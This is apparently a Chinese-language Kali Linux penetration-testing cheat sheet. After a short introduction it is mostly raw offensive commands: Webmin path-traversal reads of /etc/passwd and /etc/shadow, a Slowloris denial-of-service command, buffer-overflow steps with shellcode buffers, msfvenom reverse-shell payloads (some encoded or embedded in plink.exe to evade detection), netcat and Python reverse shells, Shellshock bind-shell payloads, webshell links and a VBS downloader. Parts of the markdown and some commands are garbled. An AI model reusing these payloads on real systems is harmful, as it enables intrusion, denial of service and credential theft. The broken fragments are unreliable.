Kali Linux 是一个基于 Debian 的开源 Linux 发行版,专门为渗透测试、安全审计和数字取证等领域设计。它包含了一系列工具,用于帮助安全专家执行各种网络安全任务,如漏洞评估、入侵检测、密码破解、无线网络分析、取证分析等。Kali Linux 的核心特点和概念包括:

渗透测试工具集:Kali Linux 包含了大量的安全测试工具,包括但不限于:

信息收集:如 Nmap、Wireshark、Nikto 等,用于扫描和分析网络、系统和服务。

漏洞利用:如 Metasploit、BeEF、Armitage 等,用于发现并利用系统漏洞。

密码破解:如 John the Ripper、Hashcat 等,用于破解密码和密码哈希。

无线网络分析:如 Aircrack-ng、Reaver 等,用于渗透测试无线网络。

取证:如 Volatility、Autopsy 等,用于数字取证分析。

基于 Debian:Kali Linux 是基于 Debian 发行版的,因此继承了 Debian 的稳定性、包管理系统(APT)和文件结构。

默认工具集:Kali Linux 默认包含超过600个渗透测试和安全相关工具,并且持续更新和维护。用户可以选择性安装或删除工具,定制自己的安全测试环境。

支持多平台:Kali Linux 可以运行在多种硬件平台上,包括虚拟机、USB 驱动器、嵌入式设备等,支持 32 位和 64 位架构。

社区支持和文档:Kali Linux 拥有活跃的社区支持,用户可以通过论坛、博客、官方文档等渠道获得帮助。官方文档详细介绍了如何使用 Kali Linux 进行渗透测试和安全审计。

隐私与安全:Kali Linux 的设计原则之一是强调隐私和安全。它通常用于进行合法的渗透测试,因此,使用 Kali Linux 时应遵循合法合规的规定,避免非法入侵。

Live 模式与持久化安装:Kali Linux 支持“Live 模式”,即直接从 USB 或光盘启动并运行,无需安装到硬盘。此外,它也支持持久化安装,可以在 USB 驱动器上保存数据和设置。

废话不多说,直接实战,不会安装kali的看看别人的文章

将目标IP地址设置为$ip系统变量

export ip=192.168.1.100

查找文件的位置

locate sbd.exe

在$PATH环境变量中的目录中搜索

which sbd

查找包含特定字符串的文件名

find / -name sbd\*

显示活动的互联网连接

netstat -lntp

更改密码

passwd

验证某服务正在运行并监听

netstat -antp | grep apache

启动服务

systemctl start ssh

systemctl start apache2

设置服务开机启动

systemctl enable ssh

停止服务

systemctl stop ssh

解压.gz文件

gunzip access.log.gz

解压.tar.gz文件

tar -xzvf file.tar.gz

搜索命令历史记录

history | grep phrase_to_search_for

下载网页

wget http://www.cisco.com

打开网页

curl http://www.cisco.com

字符串处理

计算文件中的行数

wc -l index.html

获取文件的开始或结束部分

head index.html

tail index.html

提取所有包含特定字符串的行

grep "href=" index.html

按分隔符切割字符串,过滤结果并排序

grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u

使用Grep和正则表达式并输出到文件

cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort -u > list.txt

使用bash循环查找每个主机背后的IP地址

for url in $(cat list.txt); do host $url; done

从日志文件中收集所有IP地址并按频率排序

cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn

使用Kali进行解码

解码Base64编码的值

echo -n "QWxhZGRpbjpvcGVuIHNlc2FtZQ==" | base64 --decode

解码十六进制编码的值

echo -n "46 4c 34 36 5f 33 3a 32 396472796 63637756 8656874" | xxd -r -ps

Netcat - 读取和写入TCP/UDP数据包

为Windows下载Netcat(方便创建反向Shell和在Windows系统上传输文件):Netcat for Windows

连接到POP3邮件服务器

nc -nv $ip 110

监听TCP/UDP端口

nc -nlvp 4444

连接到Netcat端口

nc -nv $ip 4444

使用Netcat发送文件

nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe

使用Netcat接收文件

nc -nlvp 4444 > incoming.exe

一些操作系统(如OpenBSD)会使用nc.traditional而不是nc,注意这一点…

查找nc位置

whereis nc

nc: /bin/nc.traditional /usr/share/man/man1/nc.1.gz

使用反向Shell创建连接

/bin/nc.traditional -e /bin/bash 1.2.3.4 4444

在Windows上使用cmd.exe创建反向Shell

nc.exe -nlvp 4444 -e cmd.exe

nc.exe -nv -e cmd.exe

在Linux上使用bash创建反向Shell

nc -nv $ip 4444 -e /bin/bash

Netcat用于Banner抓取:

echo "" | nc -nv -w1

Ncat - Nmap项目中的Netcat版本,提供更多安全性以避免IDS

使用SSL从Windows通过cmd.exe创建反向Shell

ncat --exec cmd.exe --allow $ip -vnl 4444 --ssl

使用SSL监听4444端口

ncat -v $ip 4444 --ssl

Wireshark

只显示SMTP(端口25)和ICMP流量:

tcp.port eq 25 or icmp

只显示LAN内的流量(192.168.x.x),工作站和服务器之间的流量—不包括互联网流量:

ip.src==192.168.0.0/16 and ip.dst==192.168.0.0/16

按协议(例如SIP)过滤并排除不需要的IP:

ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip

一些命令等效:

ip.addr == xxx.xxx.xxx.xxx

等于

ip.src == xxx.xxx.xxx.xxx or ip.dst == xxx.xxx.xxx.xxx

ip.addr != xxx.xxx.xxx.xxx

等于

ip.src != xxx.xxx.xxx.xxx or ip.dst != xxx.xxx.xxx.xxx

Tcpdump

显示pcap文件

tcpdump -r passwordz.pcap

显示IP并过滤和排序

tcpdump -n -r passwordz.pcap | awk -F" " '{print $3}' | sort -u | head

抓取端口80的封包

tcpdump tcp port 80 -w output.pcap -i eth0

检查TCP包中是否设置了ACK或PSH标志

tcpdump -A -n 'tcp[13] = 24' -r passwordz.pcap

IPTables

拒绝访问指定端口,除了本地回环接口

iptables -A INPUT -p tcp --destination-port 13327 ! -d $ip -j DROP

iptables -A INPUT -p tcp --destination-port 9991 ! -d $ip -j DROP

清除所有IPTables防火墙规则

iptables -P INPUT ACCEPT

iptables -P FORWARD ACCEPT

iptables -P OUTPUT ACCEPT

iptables -t nat -F

iptables -t mangle -F

iptables -F

iptables -X

iptables -t raw -F

iptables -t raw -X

被动信息收集Google Hacking(谷歌黑客技术)使用 Google 搜索网站子域名

site:microsoft.com

Google 搜索文件类型和标题

intitle:"netbotz appliance" "OK" -filetype:pdf

Google 搜索 URL 中的关键字

inurl:"level/15/sexec/-/show"

Google Hacking Database(谷歌黑客数据库)https://www.exploit-db.com/google-hacking-database/

SSL证书测试访问以下网站进行SSL证书测试:https://www.ssllabs.com/ssltest/analyze.html

邮箱收集Simply Email 工具

git clone https://github.com/killswitch-GUI/SimplyEmail.git

./SimplyEmail.py -all -e TARGET-DOMAIN

Netcraft 工具用于检测站点使用的操作系统和构建工具:https://searchdns.netcraft.com/

Whois 枚举查询域名信息:

whois domain-name-here.com

查询IP地址信息:

whois $ip

Banner抓取使用Netcat:

nc -v $ip 25

nc TARGET-IP 80

使用Telnet:

telnet $ip 25

Recon-ngRecon-ng是一个用Python编写的全功能Web侦察框架:

克隆项目:

cd /opt

git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git

cd /opt/recon-ng

./recon-ng

显示模块:

show modules

获取帮助:

help

主动信息收集端口扫描子网参考表子网掩码位数地址数量主机数量子网掩码相当于 Class C 的比例/3042255.255.255.2521/64/2986255.255.255.2481/32/281614255.255.255.2401/16/273230255.255.255.2241/8/266462255.255.255.1921/4/25128126255.255.255.1281/2/24256254255.255.255.01/23512510255.255.254.02/2210241022255.255.252.04/2120482046255.255.248.08/2040964094255.255.240.016/1981928190255.255.224.032/181638416382255.255.192.064/173276832766255.255.128.0128/166553665534255.255.0.0256设置 IP 地址为变量并进行扫描export ip=192.168.1.100

nmap -A -T4 -p- $ip

Netcat 端口扫描nc -nvv -w 1 -z $ip 3388-3390

使用 ARP 探测网络中的活动 IParp-scan $ip/24

检测网络中的设备netdiscover

netdiscover -r $ip/24

Nmap 扫描隐秘扫描(SYN)

nmap -sS $ip

隐秘扫描(FIN)

nmap -sF $ip

Banner 抓取

nmap -sV -sT $ip

操作系统指纹识别

nmap -O $ip

常规扫描

nmap $ip/24

枚举扫描

nmap -p 1-65535 -sV -sS -A -T4 $ip/24 -oN nmap.txt

扫描所有 TCP 和 UDP 端口并输出到文件

nmap -oN nmap2.txt -v -sU -sS -p- -A -T4 $ip

快速扫描

nmap -T4 -F $ip/24

快速扫描 Plus

nmap -sV -T4 -O -F --version-light $ip/24

快速路由追踪

nmap -sn --traceroute $ip

扫描所有 TCP 和 UDP 端口

nmap -v -sU -sS -p- -A -T4 $ip

深度扫描

nmap -T4 -A -v $ip

深度扫描 Plus UDP

nmap -sS -sU -T4 -A -v $ip/24

扫描所有 TCP 端口

nmap -p 1-65535 -T4 -A -v $ip/24

深度扫描 - 不进行 Ping

nmap -T4 -A -v -Pn $ip/24

Ping 扫描

nmap -sn $ip/24

慢速综合扫描

nmap -sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script "default or (discovery and safe)" $ip/24

主动连接扫描以识别伪造端口

nmap -p1-65535 -A -T5 -sT $ip

枚举

DNS 枚举

NMAP DNS 主机名查找nmap -F --dns-server <目标 ip 范围>

主机查找host -t ns megacorpone.com

反向查找暴力破解 - 查找同一范围内的域名for ip in $(seq 155 190); do host 50.7.67.$ip; done | grep -v "not found"

执行 DNS IP 查找dig a domain-name-here.com @nameserver

执行 MX 记录查找dig mx domain-name-here.com @nameserver

使用 DIG 执行区域传输dig axfr domain-name-here.com @nameserver

DNS 区域传输

Windows DNS 区域传输nslookup -> set type=any -> ls -d blah.com

Linux DNS 区域传输dig axfr blah.com @ns1.blah.com

Dnsrecon DNS 暴力破解dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Dnsrecon DNS 列表dnsrecon -d megacorpone.com -t axfr

DNSEnumdnsenum zonetransfer.me

NMap 枚举脚本列表:

NMap 发现https://nmap.org/nsedoc/categories/discovery.html

Nmap 端口版本检测最大化nmap -vvv -A --reason --script="+(safe or default) and not broadcast" -p

NFS (网络文件系统) 枚举

显示可挂载的 NFS 共享nmap -sV --script=nfs-showmount $ip

RPC (远程过程调用) 枚举

无需用户名和密码连接到 RPC 共享并枚举权限rpcclient --user="" --command=enumprivs -N $ip

使用用户名连接到 RPC 共享并枚举权限rpcclient --user="<用户名>" --command=enumprivs $ip

SMB 枚举

SMB 操作系统发现nmap $ip --script smb-os-discovery.nse

Nmap 端口扫描nmap -v -p 139,445 -oG smb.txt $ip-254

Netbios 信息扫描nbtscan -r $ip/24

Nmap 查找暴露的 Netbios 服务器nmap -sU --script nbstat.nse -p 137 $ip

Nmap 所有 SMB 脚本扫描nmap -sV -Pn -vv -p 445 --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip

Nmap 所有 SMB 脚本认证扫描nmap -sV -Pn -vv -p 445 --script-args smbuser=<用户名>,smbpass=<密码> --script='(smb*) and not (brute or broadcast or dos or external or fuzzer)' --script-args=unsafe=1 $ip

SMB 枚举工具

nmblookup -A $ip

smbclient //MOUNT/share -I $ip -N

rpcclient -U "" $ip

enum4linux $ip

enum4linux -a $ip

SMB 指纹识别

smbclient -L //$ip

Nmap 扫描开放的 SMB 共享nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.10.0/24

Nmap 扫描漏洞 SMB 服务器nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 $ip

Nmap 列出所有安装的 SMB 脚本ls -l /usr/share/nmap/scripts/smb*

枚举 SMB 用户

nmap -sU -sS --script=smb-enum-users -p U:137,T:139 $ip-14

python /usr/share/doc/python-impacket-doc/examples/samrdump.py $ip

RID 循环 - 空会话

ridenum.py $ip 500 50000 dict.txt

手动空会话测试

Windows: net use \\$ip\IPC$ "" /u:""

Linux: smbclient -L //$ip

MS SQL 枚举

config, ms-sql-ntlm-info, ms-sql-tables, ms-sql-hasdbaccess, ms-sql-dac, ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip

Webmin 和 miniserv/0.01 枚举 - 端口 10000

测试 LFI 和文件泄露漏洞,通过获取 /etc/passwd

curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd

测试 Webmin 是否以 root 权限运行,通过获取 /etc/shadow

curl http://$ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow

Linux 操作系统枚举

列出所有 SUID 文件

find / -perm -4000 2>/dev/null

确定当前的 Linux 版本

cat /etc/issue

获取更多关于环境的信息

uname -a

列出正在运行的进程

ps -xaf

列出当前用户可以(或禁止)执行的命令

sudo -l

列出 iptables 规则

iptables --table nat --list

iptables -vL -t filter

iptables -vL -t nat

iptables -vL -t mangle

iptables -vL -t raw

iptables -vL -t security

Windows 操作系统枚举

查看工作站配置

net config Workstation

查看系统信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

获取主机名

hostname

列出用户

net users

查看网络配置

ipconfig /all

查看路由表

route print

查看 ARP 缓存

arp -A

查看网络连接和端口

netstat -ano

查看防火墙状态

netsh firewall show state

查看防火墙配置

netsh firewall show config

查询计划任务

schtasks /query /fo LIST /v

查看任务列表和服务

tasklist /SVC

查看已启动的服务

net start

查看驱动程序查询

DRIVERQUERY

检查 Windows 安装提升策略

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated

搜索密码相关文件

dir /s pass == cred == vnc == .config

findstr /si password *.xml *.ini *.txt

查询注册表中的密码

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

使用 Nmap 进行漏洞扫描

Nmap 漏洞利用脚本参考链接

在 Nmap 脚本中搜索漏洞相关脚本

cd /usr/share/nmap/scripts/

ls -l *vuln*

在 Nmap 脚本中搜索特定关键字

ls /usr/share/nmap/scripts/* | grep ftp

使用 Nmap 扫描漏洞

nmap --script exploit -Pn $ip

Nmap 认证脚本参考链接

Nmap 漏洞扫描脚本参考链接

Nmap DOS 扫描

nmap --script dos -Pn $ip

执行 DOS 攻击

nmap --max-parallelism 750 -Pn --script http-slowloris --script-args http-slowloris.runforever=true

扫描 ColdFusion Web 漏洞

nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip

使用 Nmap 匿名 FTP 转储

nmap -v -p 21 --script=ftp-anon.nse $ip-254

Nmap 扫描 SMB 安全模式

nmap -v -p 21 --script=ftp-anon.nse $ip-254

文件枚举

查找具有 UID 0 且可由 root 执行的文件

/usr/bin/find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

下载并运行实用的 Linux 文件系统枚举脚本

wget https://highon.coffee/downloads/linux-local-enum.sh

chmod +x ./linux-local-enum.sh

./linux-local-enum.sh

查找 8 月更新的可执行文件

find / -executable -type f 2>/dev/null | egrep -v "^/bin|^/var|^/etc|^/usr" | xargs ls -lh | grep Aug

查找 Linux 上的特定文件

find / -name suid*

提取文件中的所有字符串

strings

确定文件的类型

file

HTTP 枚举

使用 Gobuster 搜索文件夹

gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip

OWASP DirBuster执行 HTTP 文件夹枚举,可以使用字典文件。

Dirb - 使用字典文件进行目录暴力破解

dirb http://$ip/ wordlist.dict

dirb http://vm/

通过代理运行 Dirb

dirb http://$ip/ -p $ip:3129

Nikto Web 漏洞扫描

nikto -h $ip

使用 Nmap 进行 HTTP 枚举

nmap --script=http-enum -p80 -n $ip/24

使用 Nmap 检查服务器支持的方法

nmap --script http-methods --script-args http-methods.url-path='/test' $ip

通过 cURL 获取 Web 服务器支持的选项

curl -vX OPTIONS http://vm/test

Uniscan - 目录发现工具

uniscan -qweds -u http://vm/

Wfuzz - Web 暴力破解工具

wfuzz -c -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?FUZZ=test

wfuzz -c --hw 114 -w /usr/share/wfuzz/wordlist/general/megabeast.txt $ip:60080/?page=FUZZ

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt "$ip:60080/?page=mailer&mail=FUZZ"

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 404 $ip/FUZZ

递归扫描至 3 层

wfuzz -c -w /usr/share/seclists/Discovery/Web_Content/common.txt -R 3 --sc 200 $ip/FUZZ

端口敲门 (Port Knocking) 打开服务

for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x server_ip_address; done

WordPress 扫描 - 安全扫描器

wpscan --url $ip/blog --proxy $ip:3129

RSH 枚举 - 非加密的文件传输系统

使用 Metasploit 模块:auxiliary/scanner/rservices/rsh_login

Finger 服务枚举

finger @$ip

finger batman@$ip

TLS & SSL 测试

./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U $ip | aha > OUTPUT-FILE.html

代理枚举 (用于开放代理测试)

nikto -useproxy http://$ip:3128 -h $ip

隐写术 (Steganography)

安装工具:

apt-get install steghide

提取隐藏信息:

steghide extract -sf picture.jpg

获取图片文件信息:

steghide info picture.jpg

或使用 Stegosuite 工具:

apt-get install stegosuite

OpenVAS 漏洞扫描器

安装和设置:

apt-get update

apt-get install openvas

openvas-setup

检查监听端口:

netstat -tulpn

登录地址:https://$ip:9392

缓冲区溢出与漏洞利用

DEP 和 ASLR

**数据执行保护 (DEP)**和 地址空间布局随机化 (ASLR)

Nmap 模糊测试器:

NMap 模糊测试器列表NMap Fuzzer List

NMap HTTP 表单模糊测试器

nmap --script http-form-fuzzer --script-args 'http-form-fuzzer.targets={1={path=/},2={path=/register.html}}' -p 80 $ip

NMap DNS 模糊测试器

nmap --script dns-fuzz --script-args timelimit=2h $ip -d

MSFvenom

MSFvenom 文档

Windows 缓冲区溢出

控制 EIP

locate pattern_create

定位 pattern_create

pattern_create.rb -l 2700```

* 定位 `pattern_offset`

locate pattern_offset

pattern\_offset.rb -q 39694438

\`\`\`

验证 EIP 的准确位置

[*] Exact match at offset 2606

构造缓冲区

buffer = "A" * 2606 + "B" * 4 + "C" * 90

检查“坏字符” - 运行多次,范围从 0x00 到 0xFF。

2. **使用 Mona 确定未保护的模块**

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

00000000 FFE4 jmp esp

!mona find -s "\xff\xe4" -m slmfc.dll

found at 0x5f4a358f - Flip around for little endian format

* **找到位置**

* 在 Immunity Log 窗口中使用 Mona 查找(FFE4)命令

* **JMP ESP 示例**

* 绕过 DEP(如果启用)并查找具有读取和执行访问权限的内存位置以执行 JMP ESP。

* 使用 NASM 查找 JMP ESP 指令的 HEX 代码

buffer = "A" \* 2606 + "\x8f\x35\x4a\x5f" + "C" \* 390

\`\`\`

3. **使用 MSFVenom 创建有效负载**

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"

buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

* **最终有效负载与 NOP 滑动**

* 创建反向 TCP shell

4. **创建一个 PE 反向 Shell**

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -o shell_reverse.exe

* 创建一个 PE 反向 Shell 可执行文件

5. **创建并编码 9 次的 PE 反向 Shell**

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -o shell_reverse_msf_encoded.exe

* 使用 Shikata\_ga\_nai 编码 9 次

6. **创建一个 PE 反向 Shell,并嵌入现有的可执行文件中**

msfvenom -p windows/shell_reverse_tcp LHOST=$ip LPORT=4444 -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe

* 将反向 Shell 嵌入到现有的 `plink.exe`中

7. **创建一个 PE 反向 HTTPS Shell**

msfvenom -p windows/meterpreter/reverse_https LHOST=$ip LPORT=443 -f exe -o met_https_reverse.exe

**Linux 缓冲区溢出**

* 创建一个 PE 反向 HTTPS Shell

8. **运行 Evans 调试器对应用程序进行调试**

edb --run /usr/games/crossfire/bin/crossfire

9. **ESP 寄存器指向 CBuffer 的末尾**

*

```

add eax,12

jmp eax

83C00C add eax,byte +0xc

FFE0 jmp eax

```

10. **检查“坏字符”**

通过排除法 - 运行多次,范围从 0x00 到 0xFF。

11. **查找 JMP ESP 地址**

"\x97\x45\x13\x08" # 在地址 08134597 处找到

12. **构造缓冲区溢出**

crash = "\x41" * 4368 + "\x97\x45\x13\x08" + "\x83\xc0\x0c\xff\xe0\x90\x90"

13. **使用 MSFvenom 创建有效负载**

msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai

14. **使用 netcat 连接到 Shell**

nc -v $ip 4444

**Netcat Shell 监听**

```bash

nc -nlvp 4444

生成一个 TTY Shell - 打破 Jail 或有限的 shell

你应该几乎总是升级你的 shell,当你控制了 apache 或 www 用户时。

(例如,当你在尝试运行一个漏洞时遇到错误消息 sh: no job control in this shell)

(提示:使用 sudo -l查看你可以运行什么)

你可能会遇到受限的 shell,这些 shell 使用 rbash并且每个会话只允许你执行一个命令。你可以通过执行一个 SSH shell 来克服这个限制,指向本地主机:

ssh user@$ip nc $localip 4444 -e /bin/sh

输入用户的密码:

python -c 'import pty; pty.spawn("/bin/sh")'

export TERM=linux

python -c 'import pty; pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

echo os.system('/bin/bash')

/bin/sh -i

perl —e 'exec "/bin/sh";'

perl: exec "/bin/sh";

ruby: exec "/bin/sh"

lua: os.execute('/bin/sh')

从 IRB 中:

exec "/bin/sh"

从 vi 中:

:!bash 或 :set shell=/bin/bash:shell

从 vim 中:

':!bash':

从 nmap 中:

!sh

从 tcpdump 中:

echo $’id\\n/bin/netcat $ip 443 –e /bin/bash’ > /tmp/.test

chmod +x /tmp/.test

sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.test –Z root

从 busybox 中:

/bin/busybox telnetd -|/bin/sh -p9999

**Pen test monkey PHP 反向 shell**

[http://pentestmonkey.net/tools/web-shells/php-reverse-shell](http://pentestmonkey.net/tools/web-shells/php-reverse-shell)

**php-findsock-shell - 将 PHP 端口 80 转换为交互式 shell**

[http://pentestmonkey.net/tools/web-shells/php-findsock-shell](http://pentestmonkey.net/tools/web-shells/php-findsock-shell)

**Perl 反向 Shell**

[http://pentestmonkey.net/tools/web-shells/perl-reverse-shell](http://pentestmonkey.net/tools/web-shells/perl-reverse-shell)

**PHP 驱动的 web 浏览器 Shell b374k,支持文件上传等功能**

[https://github.com/b374k/b374k](https://github.com/b374k/b374k)

**Windows 反向 Shell - 使用 PowerSploit 的 Invoke-Shellcode 脚本注入 Meterpreter shell**

[https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1)

**Fuzzdb 的 Web 后门**

[https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors](https://github.com/fuzzdb-project/fuzzdb/tree/master/web-backdoors)

**使用 MSFVenom 创建 Meterpreter Shell**

[http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/](http://www.securityunlocked.com/2016/01/02/network-security-pentesting/most-useful-msfvenom-payloads/)

**Linux**

```bash

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho

Web Payloads

PHP

msfvenom -p php/reverse_php LHOST= LPORT= -f raw > shell.php

或者

msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php

然后我们需要在文件的第一行添加

cat shell.php | pbcopy && echo ' shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war

Scripting Payloads

Python

msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl

Shellcode

对于所有 shellcode,可以查看 msfvenom --help-formats了解有效参数的信息。Msfvenom 会输出能够直接复制粘贴到你攻击中使用的代码。

Linux 基础 Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f

Windows 基础 Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

Mac 基础 Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f

Handlers

Metasploit 的 handlers 非常适合快速设置 Metasploit 以便接收你的入站 shell。Handlers 应该采用以下格式:

use exploit/multi/handler

set PAYLOAD

set LHOST

set LPORT

set ExitOnSession false

exploit -j -z

完成必要的值后,以下命令将执行你的 handler:

msfconsole -L -r

SSH to Meterpreter:链接:https://daemonchild.com/2015/08/10/got-ssh-creds-want-meterpreter-try-this/

use auxiliary/scanner/ssh/ssh_login

use post/multi/manage/shell_to_meterpreter

SBD.exeSBD是一个Netcat克隆工具,旨在具有便携性并提供强加密。它可在类Unix操作系统和Microsoft Win32上运行。SBD支持AES-CBC-128和HMAC-SHA1加密(由Christophe Devine提供),具有程序执行(-e选项)、选择源端口、持续延迟重连等一些其他良好的特性。SBD仅支持TCP/IP通信。sbd.exe(Kali Linux发行版的一部分:/usr/share/windows-binaries/backdoors/sbd.exe)可以作为Netcat的替代品上传到Windows机器上。

Shellshock使用NMap测试Shellshockroot@kali:~/Documents# nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/admin.cgi $ip

克隆Shocker工具并执行git clone https://github.com/nccgroup/shocker

./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose

Shell Shock SSH强制命令通过启用所有调试输出检查强制命令(使用ssh)

ssh -vvv

ssh -i noob noob@$ip '() { :;}; /bin/bash'

查看文件内容echo -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; echo \\$(

运行bind shellecho -e "HEAD /cgi-bin/status HTTP/1.1\\r\\nUser-Agent: () {:;}; /usr/bin/nc -l -p 9999 -e /bin/sh\\r\\nHost:vulnerable\\r\\nConnection: close\\r\\n\\r\\n" | nc TARGET 80

文件传输后期利用(Post exploitation)是指攻击者在获得对目标的某种控制后执行的操作。

简单本地Web服务器

运行一个基本的http服务器,适合提供shell等服务

python -m SimpleHTTPServer 8

运行一个基本的Python3 http服务器,适合提供shell等服务

python3 -m http.server

运行一个Ruby Webrick基本http服务器

ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"

运行一个基本的PHP http服务器

php -S $ip:80

在Windows上创建wget VB脚本:

[https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt](https://github.com/erik1o6/oscp/blob/master/wget-vbs-win.txt)

Windows文件传输脚本,可以粘贴到命令行。没有Meterpreter shell的情况下,Windows机器的文件传输可能会很麻烦。以下脚本可以粘贴到一个基础的Windows反向连接中,用来从Web服务器传输文件(每一行后需要加上`timeout 1`命令):

echo Set args = Wscript.Arguments >> webdl.vbstimeout 1echo Url = "http://1.1.1.1/windows-privesc-check2.exe" >> webdl.vbstimeout 1echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") >> webdl.vbstimeout 1echo dim bStrm: Set bStrm = createobject("Adodb.Stream") >> webdl.vbstimeout 1echo xHttp.Open "GET", Url, False >> webdl.vbstimeout 1echo xHttp.Send >> webdl.vbstimeout 1echo with bStrm >> webdl.vbstimeout 1echo .type = 1 ' >> webdl.vbstimeout 1echo .open >> webdl.vbstimeout 1echo .write xHttp.responseBody >> webdl.vbstimeout 1echo .savetofile "C:\temp\windows-privesc-check2.exe", 2 ' >> webdl.vbstimeout 1echo end with >> webdl.vbstimeout 1echo

可以使用以下语法运行该文件:

C:\temp\cscript.exe webdl.vbs

挂载文件共享

将NFS共享挂载到`/mnt/nfs`

mount $ip:/vol/share /mnt/nfs

HTTP Put

nmap -p80 $ip --script http-put --script-args http-put.url='/test/sicpwn.php',http-put.file='/var/www/html/sicpwn.php'

**上传文件**

**SCP**

scp username1@source\_host:directory1/filename1 username2@destination\_host:directory2/filename2

scp localfile username@$ip:\~/Folder/

scp Linux\_Exploit\_Suggester.pl bob@192.168.1.10:\~

**Webdav 与 Davtest**

一些系统管理员很友善地启用了 PUT 方法 - 该工具将自动上传后门

davtest -move -sendbd auto -url http://$ip

https://github.com/cldrn/davtest

您还可以使用 curl 命令通过 PUT 方法上传文件:

curl -T 'leetshellz.txt' 'http://$ip'

并使用 curl 命令的 MOVE 方法将其重命名为可执行文件:

curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'

**使用受限 PHP shell 命令上传 shell**

使用 webshell 下载并执行 meterpreter:

